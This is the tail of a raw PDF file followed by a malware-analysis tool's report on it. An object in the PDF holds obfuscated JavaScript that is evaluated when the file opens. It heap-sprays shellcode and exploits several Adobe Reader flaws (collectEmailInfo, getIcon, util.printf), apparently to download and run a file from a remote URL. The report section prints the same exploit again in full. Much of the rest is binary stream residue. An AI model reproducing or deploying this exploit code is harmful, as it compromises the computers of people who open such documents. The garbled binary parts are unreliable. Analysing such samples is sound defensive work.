(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��L���)\i7��(����(� �(� �(� �(� �(� �(� �( ��[�(��II1� QEQ!E P E P E P E P E P E P E P E P E P E P E P E P E P O��*� 3L�� vw.� �= ��*M�R9 �RL*�pG4�r�~n
d�c��s;�r�  d� �� QE 
(��
(��
(��
(��
(��
(��� Q@  Q@��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �<f��Z�rj^F�I�(����(� ' �?f &��Ql��(�HQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE .)����QE B
�� r*:)5r���RA=1L� 4�d Q��+��MظEKVJ E ���>�wDIr�  QL���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(� n~n
>�M\�ɭ�U�1KE ����QE  (��(��(��(��(��(��(��(��(��(��  R+ �ih ��QE  (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���" p�jJ(�����QE �
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
Fm���2(*6��	n i��Q� �� �$k4�>�(�` QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE&ќ��E m���( QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE  ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��jEx0K7hU=null;function tzyOODPYo\(\){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array\(\);var rY2CxZ3zCv;function xpZUeT6FR\(zHY94ooE, enaQ3oKPv\){while\(zHY94ooE.length * 2 < enaQ3oKPv\){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring\(0, enaQ3oKPv / 2\);return zHY94ooE;}function tUkoPNmN\(jk5aj6jqm\){if\(jk5aj6jqm == 0\){var iric865U = 0x0c0c0c0c;}else if\(jk5aj6jqm == 1\){iric865U = 0x30303030;}var lxDQHmzn = new Array\(\\"%u5350%u5\\",\\"251%u5756\\",\\"%u9c55\\",\\"%u00e\\",\\"8%u0000%u5\\",\\"d00%ue\\",\\"d83%u310d%\\",\\"u64c0\\",\\"%u4003%u78\\",\\"30%u8b\\",\\"0c%u0c4\\",\\"0%u708\\",\\"b%uad1c%\\",\\"u408b%u\\",\\"eb08%u\\",\\"8b09%u344\\",\\"0%u408\\",\\"d%u8b7c\\",\\"%u3c40%\\",\\"u5756%u5eb\\",\\"e%u0001\\",\\"%u0100%u\\",\\"bfee%u0\\",\\"14e%u0\\",\\"000%uef0\\",\\"1%ud6e8%u0\\",\\"001%u\\",\\"5f00%u895e\\",\\"%u81e\\",\\"a%u5ec2%\\",\\"u0001%u520\\",\\"0%u8068\\",\\"%u0000%\\",\\"uff00%u\\",\\"4e95%\\",\\"u0001%u890\\",\\"0%u81e\\",\\"a%u5ec2%u0\\",\\"001%u3100\\",\\"%u01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u0000\\",\\"%ufb80\\",\\"%u7400%u8\\",\\"806%u321c\\",\\"%ueb46%u\\",\\"c6ee%u320\\",\\"4%u8900%\\",\\"u81ea%u\\",\\"45c2%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea8\\",\\"9%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95ff\\",\\"%u0156%u0\\",\\"000%u006a\\",\\"%u006a%\\",\\"uea89%u\\",\\"c281%u0\\",\\"15e%u\\",\\"0000%u89\\",\\"52%u81ea%\\",\\"u78c2%\\",\\"u0002%u5\\",\\"200%u\\",\\"006a%ud0f\\",\\"f%u05\\",\\"6a%uea89%\\",\\"uc281%u01\\",\\"5e%u0000%u\\",\\"ff52%u5a9\\",\\"5%u0001%u8\\",\\"900%u\\",\\"81ea%\\",\\"u5ec2%u000\\",\\"1%u5200\\",\\"%u8068%u\\",\\"0000%uff00\\",\\"%u4e95%u\\",\\"0001%\\",\\"u8900%u81e\\",\\"a%u5e\\",\\"c2%u0001\\",\\"%u3100\\",\\"%u01f6%u8\\",\\"ac2%u35\\",\\"9c%u026e%\\",\\"u0000%\\",\\"ufb80%u7\\",\\"400%u880\\",\\"6%u321c%ue\\",\\"b46%uc6e\\",\\"e%u32\\",\\"04%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%u9\\",\\"5ff%u01\\",\\"52%u0000%\\",\\"uea89%u\\",\\"c281%\\",\\"u0250%u0\\",\\"000%u5052%\\",\\"u95ff%u01\\",\\"56%u0000%u\\",\\"006a%u\\",\\"006a%uea\\",\\"89%uc28\\",\\"1%u015e%u\\",\\"0000%u8\\",\\"952%u81\\",\\"ea%ua6c2%\\",\\"u0002%\\",\\"u5200%u00\\",\\"6a%ud0f\\",\\"f%u056\\",\\"a%uea89%uc\\",\\"281%u\\",\\"015e%u\\",\\"0000%uff\\",\\"52%u5\\",\\"a95%u0001\\",\\"%u9d00%u5f\\",\\"5d%u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%u0000\\",\\"%u0000%u\\",\\"0000%\\",\\"u0000%u65\\",\\"47%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%u\\",\\"6269%u\\",\\"6172%u797\\",\\"2%u00\\",\\"41%u654\\",\\"7%u5074%u6\\",\\"f72%u416\\",\\"3%u646\\",\\"4%u6572%u\\",\\"7373%u\\",\\"5700%u6e\\",\\"69%u78\\",\\"45%u63\\",\\"65%ubb0\\",\\"0%uf2\\",\\"89%uf789%\\",\\"uc030\\",\\"%u75ae%u2\\",\\"9fd%u\\",\\"89f7%\\",\\"u31f9%\\",\\"ubec0%\\",\\"u003c%u\\",\\"0000%ub503\\",\\"%u021b%u00\\",\\"00%uad6\\",\\"6%u85\\",\\"03%u021\\",\\"b%u0000%u7\\",\\"08b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u\\",\\"0000%u\\",\\"bd8d%\\",\\"u021f%u00\\",\\"00%u03\\",\\"ad%u1b\\",\\"85%u00\\",\\"02%uab00%\\",\\"u03ad%u1b\\",\\"85%u0002%\\",\\"u5000\\",\\"%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab\\",\\"%udb31%u56\\",\\"ad%u850\\",\\"3%u021b%\\",\\"u0000%uc6\\",\\"89%ud7\\",\\"89%ufc51%\\",\\"ua6f3%u7\\",\\"459%u5\\",\\"e04%ueb43\\",\\"%u5ee9%u\\",\\"d193%u03e0\\",\\"%u2785%u0\\",\\"002%u3100\\",\\"%u96f6%\\",\\"uad66%ue\\",\\"0c1%u0302%\\",\\"u1f85%u00\\",\\"02%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%uebc3\\",\\"%u0010%\\",\\"u0000%\\",\\"u0000%u000\\",\\"0%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u890\\",\\"0%u1b\\",\\"85%u0002%\\",\\"u5600%ue8\\",\\"57%uff58%u\\",\\"ffff%\\",\\"u5e5f%u\\",\\"01ab%u80c\\",\\"e%ubb3\\",\\"e%u0274%u\\",\\"edeb%u55\\",\\"c3%u4c5\\",\\"2%u4f4d\\",\\"%u2e4e%u\\",\\"4c44%\\",\\"u004c%u525\\",\\"5%u444c%u7\\",\\"76f%u6\\",\\"c6e%u616\\",\\"f%u5464%u\\",\\"466f%u\\",\\"6c69%u\\",\\"4165%u750\\",\\"0%u64\\",\\"70%u7461%\\",\\"u2e65%\\",\\"u7865%u\\",\\"0065%u72\\",\\"63%u7\\",\\"361%u2e68\\",\\"%u687\\",\\"0%u007\\",\\"0%u7468%\\",\\"u7074%u2\\",\\"f3a%u6f2f%\\",\\"u616c%u64\\",\\"6e%u6e6f%\\",\\"u632e\\",\\"%u6d6\\",\\"f%u76\\",\\"2f%u7\\",\\"265%u\\",\\"6173%u75\\",\\"2f%u6470%u\\",\\"7461%u2e65\\",\\"%u6870%u3f\\",\\"70%u6\\",\\"469%u3\\",\\"33d%u7226%\\",\\"u7465%u\\",\\"6f3d%u00\\",\\"6b%u9000\\"\);lxDQHmzn = unescape\(lxDQHmzn.join\(\\"\\"\)\);var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - \(rqVkMn73vX + 0x38\);var zHY94ooE = unescape\(\\"%u9090%u9090\\"\);zHY94ooE = xpZUeT6FR\(zHY94ooE, enaQ3oKPv\);var wfNlaURwA = \(iric865U - 0x400000\) / phldahIIt;for\(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++\){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw\(\){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString\(\);app.clearTimeOut\(rY2CxZ3zCv\);if\(\(rpQegGRv >= 8 && rpQegGRv < 8.102\) || rpQegGRv < 7.1\){tUkoPNmN\(0\);var bjW5dSzGu = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bjW5dSzGu.length < 44952\) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\\"collabStore\\"] = x52iu1NL[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bjW5dSzGu}\);}if\(\(rpQegGRv >= 8.102 && rpQegGRv < 8.104\) || \(rpQegGRv >= 9 && rpQegGRv < 9.1\) || rpQegGRv <= 7.101\){try{if\(app.doc.Collab.getIcon\){tUkoPNmN\(2\);var kLWPthXb = unescape\(\\"	\\"\);while\(kLWPthXb.length < 0x4000\){kLWPthXb += kLWPthXb;}kLWPthXb = \\"N.\\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(kLWPthXb\);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch\(e\){mzcnNPzF9a = 1;}if\(mzcnNPzF9a == 1\){if\(rpQegGRv == 8.102 || rpQegGRv == 7.1\){tUkoPNmN\(1\);var edLLyOc8V = \\"12999999999999999999\\";for\(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++\){edLLyOc8V += \\"8\\";}var qVTBH6EV5 = util;qVTBH6EV5[\\"printf\\"]\(\\"E000f\\", edLLyOc8V\);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut\(\\"app.gki0cHIe\(\)\\", 10\);';this.uidBX8Gl=0.0623598931;function cQZodvu46\(irJ9fFty,jheATvQqm\){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace\(/[]/g, ''\);function hLPauvgOSG\(nhfZ8mPVxS\){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array\(\);xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH]\(eYBbp78I\);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;)
>>
endobj
19 0 obj
<<
/Title (��hereThisOn)
/Author (��dummyEverAt)
/Subject (��anBookIs)
/Keywords (��looksForSites, lookPointCicero, overAldusAmet)
/Creator (��sLong)
/Producer (��154d7da9e669c75ee317d46614381dd8)
/CreationDate (D:20091013213010+04'00')
/ModDate (D:20091013213010+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000009271 00000 n 
0000012250 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002818 00000 n 
0000002926 00000 n 
0000005504 00000 n 
0000005612 00000 n 
0000008053 00000 n 
0000008162 00000 n 
0000009347 00000 n 
0000009463 00000 n 
0000009577 00000 n 
0000009684 00000 n 
0000009793 00000 n 
0000009901 00000 n 
0000012445 00000 n 
0000012497 00000 n 
0000024683 00000 n 
0000025085 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
25487
%%EOF
generic_stage_recovery_010.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 18 at offset 0x30D1 5729 bytes
SHA-256: 4ed6a34f4bf98e869a895aca9b1674c3ca220f6cdacd065986ce68095b17cec9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"	\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"E000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;